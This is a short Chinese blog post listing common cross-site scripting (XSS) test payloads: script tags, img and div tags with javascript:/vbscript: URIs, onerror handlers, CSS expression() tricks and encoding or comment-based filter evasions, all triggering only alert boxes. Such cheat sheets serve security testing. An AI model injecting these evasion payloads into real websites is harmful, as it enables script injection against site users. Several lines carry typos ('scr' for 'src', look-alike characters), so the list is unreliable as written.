常用跨站测试代码

最新推荐文章于 2024-04-20 17:51:01 发布

idjoy

最新推荐文章于 2024-04-20 17:51:01 发布

阅读量989

点赞数

分类专栏：安全文章标签：测试 vbscript javascript div input

本文链接：https://blog.csdn.net/idjoy/article/details/5491065

版权

安全专栏收录该内容

3 篇文章 0 订阅

订阅专栏

<script>alert("跨站")</script> （最常用）
<img scr=javascript:alert("跨站")></img>
<img scr="javascrip&#116&#58 alert(/跨站/)></img>
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
<img scr="#" οnerrοr=alert(/跨站/)></img>
<img scr="#" style="xss:expression(alert(/xss/));"></img>
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注释）
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
<div style={left:expression (alert('xss'))}></div>
<div style={left:exp/* */ression (alert('xss'))}></div>
<div style={left:/0065/0078ression (alert('xss'))}></div>
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
unicode <div style="{left:expRessioN (alert('xss'))}">